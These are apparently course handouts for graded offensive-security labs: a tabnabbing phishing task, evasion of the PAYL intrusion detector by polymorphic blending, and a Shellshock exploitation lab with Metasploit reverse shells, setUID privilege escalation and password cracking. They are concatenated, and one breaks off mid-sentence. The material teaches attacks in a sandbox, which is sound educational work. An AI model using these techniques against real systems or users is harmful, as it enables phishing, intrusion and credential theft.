vulnerabilities only, you have to implement a variant of tabnabbing following the requirements below.Requirements 1. You will create a URL with the necessary payload to deploy the attack to a simulated user like task 1 and task 2. 2. Your payload should modify all the tags on the website, so when a user clicks any links on the website, a new tab will open to load the content. 3. When the user focuses on the newly opened tab, the opener tab (the page whose URL has your payload) should remain unchanged until the user has lost focus on it for more than 60 seconds. a. When a user switches back to the opener tab, the timer should reset. When the user leaves the opener tab, the timer starts counting. b. When a user spends more than 60 seconds on the opened tab, the opener tab should load a phishing page (https://cs6262.gtisc.gatech.edu/tabnabbing/your-GT-username) which is provided by us below.After the simulated user submits her credentials, you will receive a hash string in your Message Receiver Endpoint. 4. The favicon and title of the opener tab should NOT change. Because those are shown on the tab. 5. The tabnabbing phishing page should look exactly the same as the one below. The arrows are just for highlighting things you need to pay attention to. The one we used to grade yours is without arrows or the black rectangle. In the image comparison, we will not compare the URL in the address bar as people have different approaches. So, you will need an iframe to load the tabnabbing page.Tips 1. The easiest way to keep the title/favicon/URL in the address unchanged is to load your tabnabbing page into an iframe. Think of ways to load an iframe full screen. 2. You can access the tabnabbing page via https://cs6262.gtisc.gatech.edu/tabnabbing/your-GTusername to check what it looks like. The title is different from what is required. The only correct username and password combination will give you the correct hash string. 3. To test your payload, you can open a new browser tab. Copy and paste your URL into the address bar. Then click a random link to see if it opens in a new tab for you. The browser should auto focus on the new tab. Stay in the new tab for 10 seconds and switch back to your opener tab. Nothing should change on the opener page. Then focus on the opened tab again for at least 60 seconds. Go back to the opener tab. You should see the tabnabbing login form. The simulated user would fill in the form with the correct credentials and submit it to your message receiver endpoint. a. When you want to detect whether a user is on this page or not, don’t use focus/blur because they are not supported in the simulated environment. Use visibilitychange instead. c. When you update the page to the tabnabbed page, we recommend you clear all the HTML body, create an iframe for the tabnabbed page using document.createElement(‘iframe’), and attach this DOM to the HTML body. Avoid using document.write(…) as it obstructs our bot from filling in the username and password. d. Avoid using window.open but to use setAttribute. e. The autograder is sensitive to even a tiny difference in the screenshot. Make sure your tabnabbed page does not differ, e.g., by a line on the top.Deliverables 1. The attacking URL that carries the functional payload to deploy a tabnabbing attack. 2. The hash string you will see on your Message Receiver Endpoint after a successful attack.Rubric 1.1. Clicking on a random link on the page opened by your attacking URL opens a new tab. 5% 1.2. The opener page remains unchanged within 60 seconds when the user is focusing on the opened tab and changes after the user loses focus on it for more than 60 seconds. 5% 1.3. The title, favicon and URL in the address bar remain unchanged when the tabnabbing page is loaded. 5% 1.4. The look of the tabnabbing page loaded after tabnabbing matches with the expected screenshot above. (difference less than 5%) 5% 2. Correct hash string 5% Missing task5_3.js file with your submission 0%FAQ Q. I can pass all the autograder tests (except the hash) but still cannot get the hash. What should I do? The user bot will fill in its username and password (and then press the submit button) on the tabnabbed page and identify them by DOM IDs. Make sure the page does not have anything obstructing this process.Q. I got the hash for tabnabbing, but the autograder said the hash is incorrect. Why? If the login user to your tabnab page is not the user bot, it will send a wrong hash to your endpoint. Please ensure that it was the user bot who logged in to the tabnab page but not any other users, e.g., you being the victim of your script.Other tips: Do not use window.open for opening a new window (when the victim clicks a link).Submissions All submissions will go to GradeScope where an autograder will help you understand the correctness of your solution. 1. A questionnaire 2. One JavaScript file for task 4 3. One JavaScript file for task 5.2 4. One JavaScript file for task 5.3 The autograder will deduct points for files that are not uploaded. You can upload an empty file if you haven’t gone that far yet, or just ignore the points deducted. Make sure you upload all the files when you are done.FAQQ. What do we answer and what do we not?Q. Do the submitted scripts need to have good readability? No, readability is not required.Q. How to clear my endpoint? You can clean your endpoint/inbox by posting tons of messages to your inbox or redoing your Q1.5 in Task 1.Q. I submitted the hash I received from my endpoint, but the autograder said it was incorrect. What should I do? Please make sure that you have correctly set your username in the questionnaire.Q. Can I utilize ChatGPT or similar AI-based bots for this project?Q. My solution works fine in my browser, but the server or the auto grader is not happy with it. Do they fault by chance?Q. How can I debug my code on the server side? Could you run my solution on the server side instead and tell me what is wrong? We don’t debug your code. Learning the attacker’s mind is one of the goals of the project. Although you don’t have server access for debugging, you can inject a script into the project server. Using log messages in the injected script, you can figure out the server’s status (e.g., where it gets stuck) by transferring the log messages from the server to your endpoint.
Contents1 Goals 2 2 Section 1: Project quiz (5 points) 2-3 3 Section 2: Project setup 4 4 Section 3: Project tasks (95 points) 5-10 5 Section 4: Final deliverables and rubric 11-13 6 Section 5: FAQs 14-17Goals of the Project ● The goal of this project is to introduce students to machine learning techniques and methodologies that help to differentiate between malicious and legitimate network traffic. ● In summary, students are introduced to: ○ how to build a machine-learning model based on normal network traffic. ○ how to conduct a blending attack producing artificial network traffic that resembles the normal one, and bypass the learned model.Suggestion We recommend that you use whatever is comfortable for you — either local set-up or the Linux VM provided. In the past, students faced no difficulty in setting up the project and working on either Windows or Macintosh OS. Readings and Resources This project relies on the following readings:● “Anomalous Payload-based Worm Detection and Signature Generation”, Ke Wang and Salvatore J.Stolfo, RAID2004 ● “Polymorphic Blending Attacks”, Prahlad Fogla, Monirul Sharif, Roberto Perdisci, Oleg Kolesnikov, Wenke Lee, Usenix Security 2006 ● “Sensitivity and specificity” Section 1: Project Quiz (5 points)We have created a small quiz to help you understand the topics covered in this project. Please read the papers (under Readings and Resources) before attempting the quiz and the subsequent tasks.1. In 1-gram PAYL, the byte frequency is calculated by counting the number of occurrences of a particular byte and dividing it by the length of the payload. a. True b. False2. The threshold for Mahalanobis distance is used to determine if the current payload is normal or malicious. Specifically, if the Mahalanobis distance of the current payload is LESS than the threshold, the current payload is malicious and an alert is raised by PAYL. a. True b. False3. Since polymorphic blending attacks try to evade network anomaly-based intrusion detection systems (IDS) by making the attacks look like normal traffic, they can be viewed as a subclass of mimicry attacks. a. True b. False4. In polymorphic blending attacks, the attacker uses an artificial profile which can be defined as: a. The attack payload’s profile which can bypass the IDS b. The profile of the payload generated by the polymorphic decryptor c. The profile estimated by observing normal traffic d. None of the above5. Polymorphic blending attacks use the following basic steps: (1) Blend the attack body within an instance of normal traffic payload and create an artificial payload using polymorphic encryption, (2) Let the IDS analyse this artificial payload and monitor the response received from IDS (3) Based on the response received repeat step 1 with another instance of normal traffic payload. Repeat until you find an artificial payload that can evade the IDS. a. True b. False1.1: DeliverablesFor each question, please enter your option in answers.txt as shown in the sample file below. You will deliver answers.txt for this part.You can find answers.txt under the project directory.Section 2: Project SetupYou can either use the provided VM to complete the project OR you can set up your own environment locally. 2.1: VM Setup 1. Download the VM using one of the links provided in the project description on canvas. (The password for the VM is cs6262). 2. All the required packages/dependencies are already installed in the VM. The project files are under: Desktop -> project 5 HOWEVER: please use project5.zip in Canvas for the most updated version. 2.2: Local Setup 1. Download the project zip file from the link provided in the project description on Canvas. 2. Please refer SETUP.txt in the PAYL directory to install the dependencies, using the same versions specified in the SETUP.txt.The local setup is tested on Ubuntu 18.04 and Ubuntu 20.04. Please use Ubuntu 18.04 if possible.TIP: Even if you are using the provided VM, please check SETUP.txt to understand how the project is set up and to get an overview of the various code components in the project. This might help in debugging any issues you might face later.Section 3: Project Tasks (95 points)3.1: Task A – Training an ML model to detect normal traffic (17.5 points) 3.1.1: Preliminary Reading Please refer to the reference readings to learn about how PAYL model works, in particular, a) how to extract byte frequency from the data b) how to train the model c) the definitions of parameters, threshold and smoothing factor3.1.2: Code and data provided The PAYL directory provides the PAYL code and data for model training.3.1.3: PAYL Code Workflow Here is the workflow of the provided PAYL code:● Operates in 2 modes: a) training mode: It reads pcap files provided in the ‘data’ directory, and tests parameters and reports the True Positive rates. b) testing mode: It first builds a model using parameters and data specified in the directory. Then it will test a specific packet and decide whether the test packet fits the model. ● Training mode ○ Read the normal traffic data and divide it into two parts, 75% of the data for training and the rest 25% for testing (NOTE: You will NOT change these portions in the code). ○ Sort the payload strings by length and generate a model for each length. ○ Each model per length is based on [mean frequency of each ascii, standard deviation of frequencies for each ascii].To run PAYL in training mode $ python3 wrapper.pyTesting mode● Read the normal traffic data from the directory, and train a model using specific parameters. Then test the specific packet (fed from the command line) using the trained model. ● Compute the Mahalanobis distance between each test payload and the model (of the same length) ● Label the payload: If the Mahalanobis distance is below the specified threshold, label the payload as normal traffic. Otherwise, label the packet as attack traffic.To run PAYL in testing mode $ python3 wrapper.py [FILE.pcap]where FILE.pcap is the data you will test.3.1.4: Tasks – Conduct experiments to select parameters● You are provided with artificial payloads (normal network traffic) to train a PAYL model. ● After reading the reference papers, it should make sense that you cannot train the PAYL model on the entire traffic of different protocols. So first you need to select a protocol: a) HTTP or b) DNS by changing the hard-coded option in wrapper.py. ● The next step is to select a proper pair of parameters for the model. For the selection process, you will provide a range for both parameters (by modifying the threshold and smoothing factor in wrapper.py). Then run wrapper.py on training mode and make sure the normal traffic (artificial payloads stored in the default data folder) is fed while training.The figure shows a sample output from the wrapper.py. You will find mSF and mTMD values which make mTP>96% for both HTTP and DNS protocols respectively. The parameters can be different for the two protocols.3.1.5: Deliverables Please report for each protocol that you used, the parameters that you found (output by wrapper.py) in a file named parameters.txt. Please report a decimal with rounded 2-digit accuracy for each parameter.NOTE: You are given a sample parameters.txt with dummy values in the PAYL directory. Please update the relevant values with your own answer. Check section 4 for more details. NOTE: The value for “DISTANCE” in parameters.txt will be obtained in the next task (section 3.2).TIP: You can set lower and upper bound values of both parameters in wrapper.py as the values you found in training mode to avoid multiple iterations during the testing mode.3.2: Task B – Evaluating packets on the ML model (17.5 points)Download your unique attack payload [YOUR_GTUSERNAME.pcap] from Files in Canvas, and place it in the PAYL directory of the Project 5 folder. (Path: Files -> Projects -> Project Five -> student_pcaps)For this part, you will create attack data that can evade the ML model you trained in Task A. You will ensure that the attack data does not fit the model, while the normal network traffic fits. Make sure you have completed Task A and that the parameters.txt file is set. Completing Task A and Task B will be essential to demonstrating the polymorphic blending attack in Task C.Use PAYL in testing mode ● You will first change wrapper.py to use the parameters recorded in parameters.txt. Open wrapper.py and change the None values of the following parameters: http_smoothing_factor = None dns_smoothing_factor = None http_threshold_for_mahalanobis = None dns_threshold_for_mahalanobis = None● For BOTH the DNS protocol and the HTTP protocol, verify that your attack payload gets rejected. By “rejected”, we mean that you will get a “It doesn’t fit the model” message on your test screen as seen in the following figure, which indicates that your attack sample has been detected as anomalous.$ python wrapper.py .pcap● Now verify the artificial payloads (normal traffic). We provide two artificial payloads; one for HTTP (http_artificial_profile.pcap) and one for DNS (dns_artificial_profile.pcap). Both are in the PAYL folder. Test each artificial payload against your model.(set the training_protocol parameter in wrapper.py) $ python wrapper.py http_artificial_profile.pcap (set the training_protocol parameter in wrapper.py) $ python wrapper.py dns_artificial_profile.pcap● (NOTE: DO NOT forget to change parameters according to each protocol while testing relevant payload, e.g., DNS parameters to test dns_artificial_profile.pcap.) These should be accepted by the model. That is, you should get an output message that says “It fits the model” as presented in the following figure, which indicates that the sample is not detected as anomalous. The output will show your own parameters, not “mSF” , “mTMD”, or “mTP”.3.2.1: Deliverables Please report your calculated distance (where mDISTANCE is in the above figures) in parameters.txt for each protocol with the values of the attack payload (YOUR_GTUSERNAME.pcap) after completing Task B.3.3: Task C – Crafting a packet to evade the ML model (60 points)We assume that the attacker has a specific payload (attack payload) that she would like to blend in with the normal traffic. Also, we assume that the attacker has access to one packet (artificial profile payload) that is normal and is accepted as normal by the PAYL model.Preliminary reading: Please refer to the “Polymorphic Blending Attacks” paper. In particular, section 4.2 describes how to evade 1-gram and the model implementation. More specifically we are focusing on the case where m
The goal of this project:Penetration testing is an important part of ensuring the security of a system. This project introduces some of the common tools used in penetration testing, while also exploring common vulnerabilities (such as Shellshock and setUID bit exploits).Environment Setup:Files Provided Description shellshock_server.ova The VM image. assignment_questionnaire.txt Template for final submission.This project requires the use of virtual box and multiple VMs.Installing Virtual Box:1. Install VirtualBox if it is not already installed. This project requires the latest version of VirtualBox. Using an earlier version of Virtual Box has been known to cause errors where the project VM freezes, so if you run into this, ensure you are running on at least Virtual Box 6.1.0 or later.2. Download the Oracle Virtual Box Extension Pack (available for download at the same location as Virtual Box is).3. Import the Extension Pack under File-> Tools -> Extension Pack Manager4. In Virtual Box go to File -> Tools -> Network Manager5. Select the NAT network tab and click on Create. Right click on the newly created NAT network, click on Properties and rename it to something related to the project. Then save it and close the preferences.Installing the Kali Linux VM (feel free to use any other OS but we recommend using Kali):6. Download the 64bit VirtualBox version of the Kali VM from the link: kali download.7. Extract the above zip and double click on the vbox file. Once you have imported the VM, you’ll need to go into the VM Settings and increase the number of CPUs if possible, as well as the RAM. Also enable 3-d acceleration and set the zoom level to 300 (it makes it easier to read).8. Go to the new Kali VM’s settings. In the network tab change “Attached to:” from NAT to “NAT Network” in the Adapter 1 tab. The name of the network should autofill to your newly created network if you only have one, but if you have multiple NAT networks, you’ll need to select the correct one.9. Start the Kali VM. The default username/password is kali/kali.10. Repeat the process with the other VM (shellshock_server.ova) which you will download in a later step so that these two VMs can communicate with each other.Vulnerable machine: 11. Download the project appliance using the link below: 1. shellshock_server.ova sha256sum: b8729307ad6849d17c6b88e8a5893d5f7a7ccf3167d9279e4067039379be170312. Double click the downloaded ova file to start its import process.13. Once imported, adjust the CPU and RAM for this VM like you did for the Kali VM. Ensure Adapter 1 is set to NAT Network and the name of the NAT Network is the name you specified when creating the NAT Network in step 5. 14. Boot up the shellshock_server and you’re good to go.NOTE: You do not need to into the shellshock VM. Once you see the login screen, you’re good to go. Leave the shellshock VM running and switch to the Kali VM for the rest of the project now.15. Now try to connect to the shellshock VM server from Kali. Once you find the IP of the VM in Task 1 below, navigate to the following URL: http://:/cgi-bin/shellshock.cgi Then you should be able to see the content:16. Notice that you do not need the password to access the web content hosted on the VM server. Instead of using a real server, it is safer to perform the attack on an emulated Apache HTTP Server VM. To be clear, you will not be logging into the shellshock VM during this project. Once you configure the shellshock VM (by following steps 17-20 above), you will be exploiting it externally, from the Kali VM, by exploiting the Shellshock vulnerability.Project Tasks (100 points): Task 1: Network Scanning – (10 points)The first step in any penetration test is to gather information about the network and servers you’ll be exploiting. In this task, you will perform network scanning and answer a few questions based on your findings. On startup, the shellshock VM listens to several ports for incoming messages.1. Find the IP address of the vulnerable VM on the NAT network using nmap. 2. Use nmap to identify all the open ports on the shellshock server and submit the port number which handles the http traffic to the Apache web server on the VM.Note: If possible, please use VirtualBox for this part since in the previous semesters VMware has been known to cause some issues with the network setup and Task 1.Task 2: Attack CGI Program– (20 points)In this task, you will launch the Shellshock attack on a remote web server. Many web servers enable CGI, which is a standard method used to generate dynamic content on Web pages and Web applications. Many CGI programs are written using a shell script. Therefore, before a CGI program is executed, the shell program will be invoked first, and such an invocation can be triggered by a user from a remote computer.To access this CGI program from the Web, you need to first check the server VM is running. Then, you can either use a browser by typing the following URL:http://:/cgi-bin/shellshock.cgior use the following command line program curl to do the same thing:$ curl http:// :/cgi-bin/shellshock.cgiFor this task, your goal is to launch the attack through this URL, such that you can achieve something that you cannot do as a remote user. For example, you can execute some file on the server, or look up some file located on the server. When you successfully launch an attack, please execute the /bin/task2 program (which needs your GT username as the input) inside the VM. It will generate the submission hash for you.For students that want to verify their work, here’s an example correct input/output for /bin/task2:$ /bin/task2 gburdell3 Here is your task2 hash: 5732307cf1ef49dd2613e9bbe28dd3e0ea907c28d6c8736faf0c9537c2b20c5aTask 3: Reverse Shell with Metasploit – (25 points)Now you have successfully launched the Shellshock attack, and you can execute commands on the server VM. However, during a penetration test, you likely won’t have time to craft a payload for every exploit you use. And, what if the server was not in fact vulnerable to shellshock. How would you know if your exploit failed because it was wrong, or because there was not a vulnerability?That is where Metasploit comes in. Metasploit is a standard in the penetration testing community. It allows pen testers to run precompiled exploits against a host, using predefined payloads. For this project, we’re going to use Metasploit to establish a reverse shell between your machine and the host machine.Let us first see how Metasploit works by using it to scan the open TCP ports of the shellshock_server VM. While this is a task better suited to tools like nmap (as seen in Task 1), it serves as a good demonstration of how to use a Metasploit module. If you have used Metasploit before, you can skip this introduction and go directly to the Task 3 assignments section at the end.msfconsole 1. Begin by opening a new terminal on your Kali VM. In the new terminal type: . After a moment, the Metasploit Framework console (msfconsole) will load. For this project, the msfconsole is the main way of accessing Metasploit. While there are other tools and command prompts associated with Metasploit, the msfconsole is suitable for the entirety of this project.2. For this example, we’re going to scan the ports of a host. You can use the results from task 1 to ensure Metasploit is behaving properly. In practice using a Metasploit module solely for the purpose of scanning ports on a host is a little overcomplicated, since nmap can do much more and takes less setup, but this does offer a good introduction to using a Metasploit module.3. A metasploit module is the base of any task performed in metasploit. It consists of Ruby code that is written to perform a certain task (like exploiting a certain vulnerability or scanning a certain kind of system). There are multiple different varieties of modules, but for our purposes we’ll focus on three of them: a. The Exploit modules: These are modules written to exploit a certain vulnerability. b. The Auxiliary modules: These are modules written to perform some tasks related to exploiting a system (like scanning). Within the auxiliary modules there are many kinds of modules. We’ll be using the “scanner” modules for this example. c. Payloads: Calling these modules is a little misleading. They are the payloads (for example the shellcode) that are sent within the exploit.The reason there are so many results is that “scanner” is a class of auxiliary modules (as seen by there being so many modules beginning with “auxiliary/scanner”). So, searching for “scanner” (or “scan”) will give everything at all related to network or vulnerability scanning.That seems a little better. Only 7 results. Since we’re scanning for open tcp ports, let’s use: “auxiliary/scanner/portscan/tcp”. To use a metasploit module, you should run the command: use module_nameYou should now see “auxiliary(scanner/portscan/tcp)” after “msf5” indicating you are using the auxiliary(scanner/portscan/tcp) module.6. Now that we’re using the correct module, we must set the correct options. Try running the command options . You should see something like:While each of the options is marked as required, most of the pre-filled values work for our purposes. The only one we need to change is RHOSTS. RHOSTS should be the IP address of the host we want to scan. In this case, you should set it to the IP address of the shellshock_server VM, that you found in part 1. You can use the command: set rhosts IP_of_host. Now try running options again and ensure the RHOST option is set to the right IP address.Now run run and you should see the same list of open ports that nmap showed. While “run” is usually used to run auxiliary exploits, the command “check” and “exploit” are often used to check 7. and run exploit modules.Now you’ve seen an example of how to use Metasploit. You’ll follow a similar process when exploiting the shellshock vulnerability.Task 3 Assignments: 1. Find an exploit module that exploits the shellshock vulnerability on an Apache web server. Once you’ve found the module, place the module name in assignment_questionnaire.txt. 2. Use show payloads to show the possible payloads for the module. Find a payload that spawns a reverse tcp shell. Place the full name of the payload in assignment_questionnaire.txt. 3. Run the exploit and spawn a reverse shell on the VM. 4. Run /bin/task3 in the resulting shell, then type cs6262 then your user ID. Report the hash value for your user ID in assignment_questionnaire.txt.You’ll submit all your answers for this section in assignment_questionnaire.txt. You should keep the reverse shell running after finishing Task 3, as you will need it in Task 4.Task 4: Privilege Escalation – (20 points)Your goal: You aim to upgrade the privilege for your command shell by exploiting the setUID vulnerability. You will run /bin/task4 as the higher privileged user “shellshock_server”, not the default user “www-data”.Background: In Unix based systems, setUID is access rights flags that determine what users can run a program. ForAssignments: in your shell. You should see “www-data” which is your user ID. Now, run As a first step, type whoami /bin/task4 gt_usernam e. You would see a permission denied error. That is because /bin/task4 is configured to allow only the “shellshock_server” user to run it. So, you need to find a way to run task4 as the “shellshock_server” user. A feasible approach is to spawn a shell running as a “shellshock_server” user and run task4 through it.Your goal is to find a program which: 1. Has a higher privilege than the default user. 2. Can spawn a shell.Useful Resource: https://gtfobins.github.io/What is the vulnerable program? What command do you use to search it? What command do you use to spawn a shell with the vulnerable program? And what is the hash value from /bin/task4 gt_username (like /bin/task2)? Please leave your answers in assignment_questionnaire.txt.NOTE: If you exploit a symlinked binary, submit the name of the target binary that is linked. Eg: If binary A points to binary B, submit binary B as the answer. Task 5: Password Cracking – (25 points)To begin, start a Meterpreter shell (using a meterpreter shell payload) through the Metasploit shellshock module in Task 3. A Meterpreter shell is different from the reverse TCP shell in Task 3, as it allows you to run Metasploit specific commands on the vulnerable machine (like download). Navigate to /home/shellshock_server/secret_files/. There are two encrypted .pyc files here. task51.zip is encrypted with zip, while task52.pyc.gpg is encrypted with gpg (a common file encryption tool in Linux). Download these two files (task51.zip and task52.pyc.gpg) to your Kali VM using the meterpreter.We already know the developers of this web server are not very security savvy, since they let a shellshock vulnerability plus a setUID exploit give a high privilege shell on their machine. So, chances are they did not pick very secure passwords for these secret files. Your goal in this task is to crack the passwords of these two files using John the Ripper (a popular password cracker) and cewl (a password scraper).The command line tools used in Task 5 are in /usr/sbin on the Kali VM. To run them, you can either add /usr/sbin to the $PATH variable or write /usr/sbin/ before each command.You should use zip2john and gpg2john to extract the password hashes from the encrypted files. For task51.zip, try running John the Ripper incrementally. Report your John the Ripper command in assignment_questionnaire.txt (whether you also report your the zip2john and gpg2john commands is up to you, but they will not be graded).For task52.pyc.gpg, try running John the Ripper incrementally again. Hmm… it seems to run forever. That is because John the Ripper is trying every combination of characters. If the password is too long (among other things), John the Ripper could run for years before it finds it.But, even if the password is on the profile page, it can still take a while to guess by hand. What if the password was kItt3n$ or deVEL0p3r. It would be hard to guess that, even if the word it was based on (like “kittens”, or “developer”) was on the profile page.Once you find the passwords, report them in assignment_questionnaire.txt. Then decrypt the two files (using zip for task51.zip and gpg for task52.pyc.gpg) and run python2.7 task51.pyc gt_username and python2.7 task52.pyc gt_username. Report the resulting hash values for your user ID in assignment_questionnaire.txt.Deliverables:Please use Gradescope to submit the assignment files. The link to Gradescope is found in Canvas under Courses tab -> Gradescope. In Gradescope under active assignments click project 1 to upload your files. ● assignment_questionnaire.txt ● README.txtFAQ:● For this project, students have unlimited submissions on gradescope. ● You do not need to log into the shellshock image at any point to complete this project. ● For all task binaries, make sure to pass in your GT Username as the argument (e.g.: gburdell3) and beware of extra spaces after your name because that will result in an incorrect hash. ● Make sure you are using atleast VirtualBox 6.1.x. (students have completed the project on other versions too, but it sometimes causes issues). ● Make sure to assign at least 2 CPUs and 4GB of RAM to your shellshock image for it to function properly. ● The objective of this project is to get you familiarized with the absolute basics of penetration testing and therefore we encourage Googling to learn more about the vulnerability, the tools, and the attack concepts.Reminders:There is a 5-point penalty for not following the submission format shown.Useful Links and References:● Shellshock Vulnerability ◦ https://github.com/carter-yagemann/ShellShock ◦ https://en.wikipedia.org/wiki/Shellshock_(software_bug) ◦ http://seclists.org/oss-sec/2014/q3/650 ● curl ◦ https://curl.haxx.se/docs/manpage.html ◦ https://curl.haxx.se/download.html (curl.exe for Windows) ● netcat ◦ https://linux.die.net/man/1/nc ◦ https://eternallybored.org/misc/netcat/ (nc.exe for Windows) ● nmap ◦ https://nmap.org/book/man.html ◦ Service and Version Detection | Nmap Network Scanning ● Metasploit ◦ https://www.offensive-security.com/metasploit-unleashed/metasploit-fundamentals/ ● John the Ripper ◦ https://www.openwall.com/john/doc/ ● cewl ◦ https://tools.kali.org/password-attacks/cewlAcknowledgment:Checklist/Rubric:Section Points ✓ 1 Network Exploration 10 1.1 Correct first digits of the IP Address of the vulnerable VM. 5 1.2 Correct HTTP port. 5 2 Exploiting the System 20 . 1 Command used to exploit the shellshock vulnerability. 5 2.2 Correct hash value from running /bin/task2. 15 3 Spawning a Shell with Metasploit 25 3.1 Correct exploit module 5 3.2 Correct payload module (there are multiple correct answers here) 5 3.3 Correct hash value from running /bin/task3. 15 4 Privilege Escalation 20 4.2 Correct vulnerable program name. 10 4.4 Correct hash value from running /bin/task4 10 5 Password Cracking 25 5.2 Correct password for task51.zip. 5 5.3 Correct hash value from running python task51.pyc. 7.5 5.6 Correct password for task52.pyc.gpg. 5 5.7 Correct hash value from running python task52.pyc. 7.5 – Possible Deductions i. Incorrect assignment_questionnaire.txt format. -5 ii. Incorrect upload to Gradescope/Canvas. -5 + Your Submission Includes Total: 100 assignment_questionnaire.txt – Answers to questions README.txt
